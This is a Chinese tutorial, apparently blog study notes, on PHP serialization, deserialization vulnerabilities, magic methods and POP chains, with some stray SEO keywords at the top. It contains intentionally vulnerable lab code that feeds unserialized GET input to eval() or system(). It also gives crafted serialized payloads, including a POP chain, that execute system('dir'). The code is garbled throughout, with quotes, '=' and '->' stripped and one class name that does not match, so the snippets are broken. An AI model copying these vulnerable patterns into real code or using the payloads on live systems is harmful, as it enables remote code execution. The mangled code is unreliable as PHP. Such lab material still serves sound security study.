合肥瑶海区网站建设方案,北京网站建设小鱼在线,制作ppt免费软件,仿做购物网站目录
一、php面向对象
二、类
2.1 类的定义
2.2 类的修饰符介绍
三、序列化
3.1 序列化的作用
3.2 序列化之后的表达方式/格式
① 简单序列化
② 数组序列化
③ 对象序列化
④ 私有修饰符序列化
⑤ 保护修饰符序列化
⑥ 成员属性调用对象 序列化
四、反序列化
…目录
一、php面向对象
二、类
2.1 类的定义
2.2 类的修饰符介绍
三、序列化
3.1 序列化的作用
3.2 序列化之后的表达方式/格式
① 简单序列化
② 数组序列化
③ 对象序列化
④ 私有修饰符序列化
⑤ 保护修饰符序列化
⑥ 成员属性调用对象 序列化
四、反序列化
4.1 反序列化的特性
4.2 反序列化的作用
五、反序列化漏洞
5.1 反序列化漏洞概述
5.2 魔术方法
魔术方法简介
什么是魔术方法
魔术方法的作用
魔术方法相关机制
重要魔术方法
六、pop链前置知识 一、php面向对象 面向对象程序设计(Object Oriented Programming,简称OOP)是一种计算机编程架构。面向对象思想的核心计算机模拟现实世界解决现实世界的问题。注意面向对象思想很重要其次是编程语言的语法。相比于面向过程两者思想方式不同面向过程注重功能怎么一步一步去实现其程序基本单位大多是函数组成的而面向对象注重对象是谁去做这个事情也就是行为以及状态其程序基本单位是对象对象是通过类的实例化产生的。 二、类
2.1 类的定义 类是定义了一件事物的抽象特点将数据的形式以及这些数据上的操作封装在一起对象是具有类类型的变量是类的实例。类是对象的抽象而对象是类的具体实例。类的想法把类实例化(new)调用具体值后就变成了对象。 内部构成成员变量(属性)成员函数(方法) 成员变量定义在类内部的变量该变量对外是不可见的但是可以通过成员函数访问在类被实例化成为对象后该变量即可成对象的属性。 成员函数定义在类的内部用于访问对象的数据是实现某个独立的功能类中一个行为 大白话解释一下(比较形象) 类和对象的关系类好比公司让你填写个人简介的表格 有姓名 年龄 等 如果没有人填写 那么这个表格(类)将毫无用处 但是同学A 填写了这个表格A填写完表格(对象)就是表格(类)的实例化 表格实例化成为了一个对象A就可以拿着简介去公司面试了否则表格空空 公司看都不看。举的例子中个人信息属于成员属性 成员函数好比表格上写跳舞电脑的操作者属于面试官 对象属于填写完的表格信息 当面试官查看个人信息的时候 只能看到对象中的属性这时候面试官看到对象里面写着个人爱好为跳舞面试官对同学A说执行类中函数你跳舞吧边跳舞边说自己的个人信息 同学A就展示动作并说出自己的个人信息这就是成员函数可以访问成员变量并且个人信息别人是不知道的通过这也可以看出 对象里有属性和方法属性是可以一看看出来的但是方法需要面试官主动让你跳你才能跳 继承继承性是子类自动共享父类数据结构和方法的机制是类之间的一种关系也就是说 一个类的子类和类本身是没有什么区别的 2.2 类的修饰符介绍 在类中直接声明的变量成为成员属性(也可以成为成员变量)可以在类中声明多个变量即对象中可以有多个成员属性每个变量都存储对象不同的属性信息 访问权限修饰符对属性的定义 定义权限 如果定义了权限 就不可以在哪都能调用了 代码演示 ?php
class jianjie{ //定义一个类 简介的表格var $name; //定义一个属性 表格中需要填写的var $sex; function dance($var1) { //定义一个方法 也就是跳舞echo $this-name.br /;//如果对象为A A跳舞的时候可以说出自己的个人信息echo $var1.br /;}
}
$A new hero();//将类实例化为对象 也就是表格让同学A填写
$A-namechengyaojin; //同学A进行填写
$A-sexman;
print_r($cyj);//面试官查看个人信息 只能查看到属性
$A-dance(tiaotiaotiao); //面试官知道表格里有个跳舞面试官就让A跳舞 A就跳舞了
? ?php
class hero{//三个属性 定义了该属性的权限public $namechengyaojin; //公共的private $sexman;//私有的protected $shengao165;//私有加子类的function jineng($var1) {echo $this-name; //可以echo $var1; //可以}
}
class hero2 extends hero{ //hero2位hero的子类function test(){echo $this-name.br /;//可以echo $this-sex.br /; //不可以echo $this-shengao.br /;//可以}
}
$cyj new hero();
$cyj2new hero2();
echo $cyj-name.br /;
echo $cyj2-test();
? 三、序列化
3.1 序列化的作用 序列化是将对象的状态信息(属性)转换为可以存储或传输的形式的过程方便存储和方便传输 将对象或者数组转化为可存储/传输的字符串 举例如果有session 会把传进来的参数键值对转换成字符串存储在session文件里面 在php中使用函数serialize()来将对象或者数组进行序列化 并返回一个包含字节流的字符串来表示 3.2 序列化之后的表达方式/格式 ① 简单序列化 ?php
$anull;
echo serialize($a);
? ② 数组序列化 ?php
$a array(benben,dazhuang,laoliu);
echo $a[0];
echo serialize($a);
? benben
a:3:{i:0;s:6:benben;i:1;s:8:dazhuang;i:2;s:6:laoliu;} ③ 对象序列化 ?php
class test{public $pubbenben;function jineng(){echo $this-pub;}
}
$a new test();
echo serialize($a);
? O:4:test:1:{s:3:pub;s:6:benben;} ④ 私有修饰符序列化 ?php
class test{private $pubbenben;function jineng(){echo $this-pub;}
}
$a new test();
echo serialize($a);
? O:4:test:1:{s:9:testpub;s:6:benben;}
//因为pub是私有属性 序列化会在前面加上类名 并且类名前后要有空字符 所以一共是9个字符 ⑤ 保护修饰符序列化 ?php
class test{protected $pubbenben;function jineng(){echo $this-pub;}
}
$a new test();
echo serialize($a);
? O:4:test:1:{s:6:*pub;s:6:benben;}
如果一个属性属于保护的修饰符 序列化的时候会在属性的前面加上* 并且*前后也会有空字符 一共是6个字符 ⑥ 成员属性调用对象 序列化 ?php
class test{var $pubbenben;function jineng(){echo $this-pub;}
}
class test2{var $ben;function __construct(){$this-bennew test();}
}
$a new test2();
echo serialize($a);
? O:5:test2:1:{s:3:ben;O:4:test:1:{s:3:pub;s:6:benben;}} 整体演示 ?php
highlight_file(__FILE__);
class TEST {public $data;public $data2 dazzhuang;private $pass;public function __construct($data, $pass){$this-data $data;$this-pass $pass;}
}
$number 34;
$str user;
$bool true;
$null NULL;
$arr array(a 10, b 200);
$arr2 array2(benben,dazhuang,tzy);
$test new TEST(uu, true);
$test2 new TEST(uu, true);
$test2-data $test2-data2;
echo serialize($number).br /;
echo serialize($str).br /;
echo serialize($bool).br /;
echo serialize($null).br /;
echo serialize($arr).br /;
echo serialize($test).br /;
echo serialize($test2).br /;
? i:34;
s:4:user;
b:1;
N;
a:2:{s:1:a;i:10;s:1:b;i:200;}
a:3:{i:0;s:6:benben;i:1;s:8:dazhuang;i:2;s:6:laoliu;}
O:4:TEST:3:{s:4:data;s:2:uu;s:5:data2;s:9:dazzhuang;s:10:TESTpass;b:1;}
O:4:TEST:3:{s:4:data;s:9:dazzhuang;s:5:data2;R:2;s:10:TESTpass;b:1;} 注意 切记整型666被序列化后是 i:666; 分号要记住 实例化为对象后只会携带成员属性做序列化的时候 只会序列化属性成员方法调用才有 带权限输出的时候最好用urlcode进行编码 如果编码为url后就能看到test两边是空字符 s:10:TESTpass 明明8个字符 确显示10个字符就是因为空字符的原因 四、反序列化
4.1 反序列化的特性 1 反序列化之后的内容为一个对象 2 反序列化生成的对象里的值由反序列化里的值提供与原由类预定义的值无关 3 反序列化不触发类的成员方法需要调用方法后才能触发有些同学疑问 为什么反序列化后就能触发成员方法 是因为使用了 魔术方法 4.2 反序列化的作用 代码 ?php
class test {public $a benben;protected $b 666;private $c false;public function displayVar() {echo $this-a;}
}
$d new test();//将类实例化为一个对象
$d serialize($d);//进行序列化
echo $d.br /; //输出一下序列化后的值
echo urlencode($d).br /;//进行url编码 能看到空字符的%00
$a urlencode($d);//将url编码后赋值给变量a
$b unserialize(urldecode($a));//对a进行反序列化 赋值给b
var_dump($b);//
? 反序列化后的输出和正常对象的输出是一样的但是如果将序列化字符串里面的benben改成dazhuang 那么反序列化后的a 就变成了dazhuang 这里老师说了 通过序列化反序列化构造木马很难被发现 O:4:test:3:{s:1:a;s:6:benben;s:4:*b;i:666;s:7:testc;b:0;}
O%3A4%3A%22test%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A6%3A%22benben%22%3Bs%3A4%3A%22%00%2A%00b%22%3Bi%3A666%3Bs%3A7%3A%22%00test%00c%22%3Bb%3A0%3B%7D
object(test)#1 (3) {
[a]
string(6) benben
[b:protected]
int(666)
[c:private]
bool(false) } 反序列化为一个对象的时候 这个对象是没有方法的 必须得主动调用方法 这个方法不是对象的 是类的 向类进行借用类似于系统识别出来你这个对象就是属于类就可以用类中的方法 这个时候如果把类注释掉 那么这个方法将无法执行 其实老师说的也不对 我感觉不能这么理解因为这个方法里面有输出当前姓名 输出的是我们刚刚修改过的dazhuang。 五、反序列化漏洞
5.1 反序列化漏洞概述 反序列化成因反序列化过程中userialize(接收的值(字符串)可控通过更改这个值(字符串)得到所需要的代码即生成的对象的属性值 通过调用方法触发代码执行到后面就能明白了为什么叫调用方法就能触发代码执行 因为在类的方法中调用了自己的属性但是这个属性可以通过反序列化进行更改也就是说光改变值也不行 需要让这个值被执行 这才能实现漏洞利用 反序列化漏洞实例 靶场源码 ?php
error_reporting(0);
class test{public $a echo this is test!!;;public function displayVar() {eval($this-a);}
}
$get $_GET[benben];//通过GET 传参 传的是序列化后的值
$b unserialize($get);//把参数值反序列化赋值给一个对象b
$b-displayVar() ;
//本来对象b不属于test类的 但是通过反序列化后系统就会认为b是类test实例化的对象 从而可以执行类中的方法 因为传参的时候已经把类的属性修改为我们想要的代码了 这样就实现了反序列化的漏洞
到这我也发现有个前提 我们必须要知道源码
? 传参??benbenO:4:test:1:{s:1:a;s:12:system(dir);;} 5.2 魔术方法 魔术方法简介 魔术方法在反序列化漏洞利用里面占用的比例还是很大的 什么是魔术方法 一个预定义好的在特定情况下自动触发的行为方法 魔术方法的作用 反序列化漏洞的成因反序列化过程中unserialize()接收的值(字符串)可控通过更改这个值(字符串)得到所需要的代码通过调用的方法触发代码执行 魔术方法在特定条件下自动调用相关方法最终导致触发代码 魔术方法相关机制 重要魔术方法 _construct() 构造函数在实例化一个对象的时候首先回去自动执行的一个方法 触发时机实例化对象 功能提前清理不必要内容 参数非必要 ?php
highlight_file(__FILE__);
class User {public $username;public function __construct($username) {$this-username $username;echo 触发了构造函数1次 ;}
}
//实例化user类的时候会触发类中__construct魔术方法
$test new User(benben);
$ser serialize($test);
unserialize($ser);
?触发了构造函数1次 __destruct() 析构函数在对象的所有引用被删除或者当对象被显式销毁是执行的魔术方法 ?php
highlight_file(__FILE__);
class User {public function __destruct(){echo 出发了析构函数1次.br / ;}
}
$test new User(benben); 实例化对象结束后 代码运行完全 触发一次 创建的时候肯定不会触发 但是对象用完了就要销毁 销毁的时候会触发
$ser serialize($test);//不会触发
unserialize($ser);//这里也出发了一次 反序列化和实例化为对象一个意思
?
这么理解有点繁琐 大白话就是 当实例化一个对象的时候 类中的代码会执行一遍 执行一遍后就出发了魔术方法
反序列化一样的道理 触发了构造函数1次
触发了构造函数1次 析构函数例题 ?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $cmd echo dazhuang666!!; ;public function __destruct(){eval ($this-cmd);}
}
$ser $_GET[benben];
unserialize($ser);//解释一下 实例化为一个对象就好比要把类里面的代码过一遍反序列化也一个意思 要把字符串过一遍虽然这个值是序列化的字符串得出来的 但是系统也会认为这个对象和类有关属于类里面的 因为类里面有__destruct 从而触发
? 构造序列化后的值 ?benbenO:4:User:1:{s:3:cmd;s:12:system(dir);;} __sleep() 序列化serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在该方法会先被调用然后才执行序列化操作,此功能可以用于清理对象并返回一个对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容则NULL被序列化并产生一个E_NOTICE级别的错误。 触发时机序列化serialize(之前 功能对象被序列化之前触发返回需要被序列化存储的成员属性删除不必要的属性 参数成员属性 返回值需要被序列化存储的成员属性 ?php
class User {const SITE uusama;public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this-username $username;$this-nickname $nickname;$this-password $password;}public function __sleep() {return array(username, nickname);}
}
$user new User(a, b, c);//触发__construct魔术方法 abc参数自动传入方法之中
echo serialize($user);//触发__sleep魔术方法 魔术方法只返回usernmae nickname 告诉serialize函数 不序列化password
? O:4:User:2:{s:8:username;s:1:a;s:8:nickname;s:1:b;} sleep例题 ?php
class User {const SITE uusama;public $username;public $nickname;private $password;public function __construct($username, $nickname, $password) {$this-username $username;$this-nickname $nickname;$this-password $password;}public function __sleep() {system($this-username);}
}
$cmd $_GET[benben];//通过GET传入参数
$user new User($cmd, b, c);//这个GET获取的参数作为对象的username
echo serialize($user);//序列化会先执行construct魔术方法再执行__sleep魔术方法 从而利用了漏洞
?构造语句?benbencmd 这么一看 其实这个靶场就构成木马 传入参数 就会执行参数的命令 学东西越多构造的木马越多 __wakeup() unserlialize()会检查是否存在一个__ wakeup()方法。如果存在则会先调用__wakeup()方法预先准备对象需要的资源预先准备对象资源返回void常用反序列化操作中重新建立数据库连接或执行其他初始化操作。 示例 ?php
class User {const SITE uusama;public $username;public $nickname;private $password;private $order;public function __wakeup() {$this-password $this-username;}
}
$user_ser O:4:User:2:{s:8:username;s:1:a;s:8:nickname;s:1:b;};
var_dump(unserialize($user_ser));
?
//在进行反序列化的时候 虽然数据是从序列化的字符串中得到的 但是系统识别出类中有一个__wakeup魔术方法 里面对password进行了赋值 从反序列化中得到了username和nickname 从魔术方法中获得了password
魔术方法给属性赋值了 也就是告诉对象你你还有一个值 别忘记了 但是吧这个order为什么会冒出来 object(User)#1 (4) { [username] string(1) a [nickname] string(1) b [password:private] string(1) a [order:private] NULL } 例题 漏洞利用 ?php
class User {const SITE uusama;public $username;public $nickname;private $password;private $order;public function __wakeup() {system($this-username);}
}
$user_ser $_GET[benben];
unserialize($user_ser);
? 构造poc O:4:User:1:{s:8:username;s:3:dir;} 输出 __tostring 表达方式错误 导致魔术方法触发 触发时机把对象当成字符串调用 把类User实例化并赋值给$test 此时$test是一个对象 调用对象可以使用print_r或者 var_dump echo和print只能调用字符串的方法去调用对象 ?php
highlight_file(__FILE__);
error_reporting(0);
class User {var $benben this is test!!;public function __toString(){return 格式错误!;}
}
$test new User() ;//这是一个对象
print_r($test); //成功执行
echo br /;
echo $test;//echo只能输出一个变量 但是test是对象 这个时候对象里面的__toString就会被触发
? User Object ( [benben] this is test!! )
格式错误 __invoke() 格式表达错误导致魔术方法触发 触发时机包对象当成函数调用 ?php
function dazhaung(){echo 这是一个函数
}
class User {var $benben this is test!!;public function __invoke(){echo 这不是一个函数!;}
}
$test new User() ;
dazhaung()//输出这是一个函数
$test() //因为这是对象 当成函数去执行类里面的invoke函数就会执行
? 错误调用相关魔术方法 __call() 触发时机调用一个不存在的方法 参数2个参数传参$arg1,$arg2 $arg1 调用的不存在的方法的名称 $arg2 调用的不存在的方法的参数 返回值调用的不存在的方法的名称和参数 当对象调用的方法不存在是 就会触发这个魔术方法 ?php
class User {public function __call($arg1,$arg2){echo $arg1,$arg2[0];}
}
$test new User() ;
$test - callxxx(a);
? callxxx,a __callStatic() 触发时机静态调用或调用成员常量时的方法不存在 参数2个参数传参$arg1,$arg2 返回值调用的不存在的方法的名称和参数 ?php
class User {public function __callStatic($arg1,$arg2){echo $arg1,$arg2[0];}
}
$test new User() ;
$test::callxxx(a);//这就是静态调用方法 如果这个方法不存在 就触发callstatic
? callxxx,a __get() 触发时机调用的成员属性不存在 参数传参$arg1 返回值不存在的成员属性名称 触发get(0把不存在的属性名称var2赋值给$arg1 ?php
class User {public $var1;public function __get($arg1){echo $arg1;}
}
$test new User() ;
$test -var2;//调用一个不存在的属性 自动执行__get()魔术方法 将不存在属性名赋值给arg1 并输出出来
? var2 __set() 触发时机给不存在的成员属性赋值 参数传参$arg1,$arg2 返回值不存在的成员属性的名称和赋的值 先触发grt()再触发set() $arg1,不存在成员属性的名称 $arg2,不存在的成员属性var2赋的值 ?php
class User {public $var1;public function __set($arg1 ,$arg2){echo $arg1.,.$arg2;}
}
$test new User() ;
$test -var21;//为一个不存在的属性赋值 会触发__set魔术方法 将不存在的属性名赋值给arg1 赋的值赋值给arg2 并输出
? var2,1 __isset() 触发时机对不可访问属性/或不存在属性使用isset()或empty()时__isset()会被调用 参数传参$arg1 返回值不存在的成员属性的名称 ?php
class User {private $var;public function __isset($arg1 ){echo $arg1;}
}
$test new User() ;
isset($test-var);//如果不存在或者无权限的属性名被isset函数调用会触发__isset魔术方法 将属性名赋值给arg1
? var unset()同理 ?php
class User {private $var;public function __unset($arg1 ){echo $arg1;}
}
$test new User() ;
unset($test-var);//同理
? var __clone() 触发时机当使用clone关键字拷贝完成一个对象后新对象会自动调用一个魔术方法 ?php
class User {private $var;public function __clone( ){echo __clone test;}
}
$test new User() ;
$newclass clone($test)//拷贝一个对象后 这个新对象会触发魔术方法__clone
? 六、pop链前置知识
1 控制成员属性所对应的对象是哪一个
2 遇到有pop链的题目 经常使用的方法是反推法 不能正着推 题目量如果少的话 还可以 一但量大就不好弄了 练习 代码讲解 ?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;public function __construct(){$this-test new normal();}public function __destruct(){$this-test-action();}
}
class normal {public function action(){echo please attack me;}
}
class evil {var $test2;public function action(){eval($this-test2);}
}
unserialize($_GET[test]);
? 反推法的开始就是先找到代码里面的利用点 eval就是整个代码能利用的点 往前推 1,eval的值通过test2传过来 但是eval所在的函数不是魔术方法这个时候就要往前找看谁调用了evil类中的action函数 2 index类中的 __destruct魔术方法调用了normal类对象test的action函数 这个时候问题就是如何让test调用evil中的action()方法 因为反序列化得出的对象的值和类无关 可以自定义 我们只需定义test为对象 这个对象的来源是evil类 解决思路给test赋值为对象 testnew evil() 有两种构造方法 一种手写poc 一种利用源代码修改生成序列化的字符串 我是真牛呀 一次直接手写成功 ?testO:5:index:1:{s:11:%00index%00test;O:4:evil:1:{s:5:test2;s:12:system(dir);;}} 但是吧手写短一点的行 最好还是要利用源代码构造poc ?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;public function __construct(){$this-test new evil();}}
class evil {var $test2system(dir);;public function action(){eval($this-test2);}
}
$anew index();
echo serialize($a);
? 这是分析代码后确定如何才能执行eval() 反序列化过程 构造完的poc 反序列化给一个对象A 告诉这个对象你是index类的你里面有个test的属性 并且这个属性属于evil类的 evil(test对象)里的值test2为system(dir) 因为是反序列化在反序列化结束的时候会自动执行index类(对象A)中的__destruct()魔术方法 从而执行action 得出反序列化过程开始使用序列化构造poc 构造poc序列化过程index类中有test 和魔术方法__construct 当执行序列化后会自动触发__construct 里面的内容是将test作为eval的对象 对象的属性里面有test2属性 属性的值为system(dir) 将poc放到源代码中分析过程告诉系统test属于evil的对象并且test属性里的test2属性的值为system(dir) 执行完反序列化自动执行 魔术方法destruct 从而执行远程命令 还有一种构造方法 ?php
highlight_file(__FILE__);
error_reporting(0);
class index {private $test;
}
class evil {var $test2;}
$anew evil();//实例化为一个对象
$a-test2system(dir);;//为这个对象的竖向test2进行赋值
$bnew index();//实例化index的对象
$b-test$a;//让index的对象的属性等于evil的对象,这道题因为test为 private所以不能再类外进行构造 这只是一个举例
echo serialize($b); //实例化这个$b
?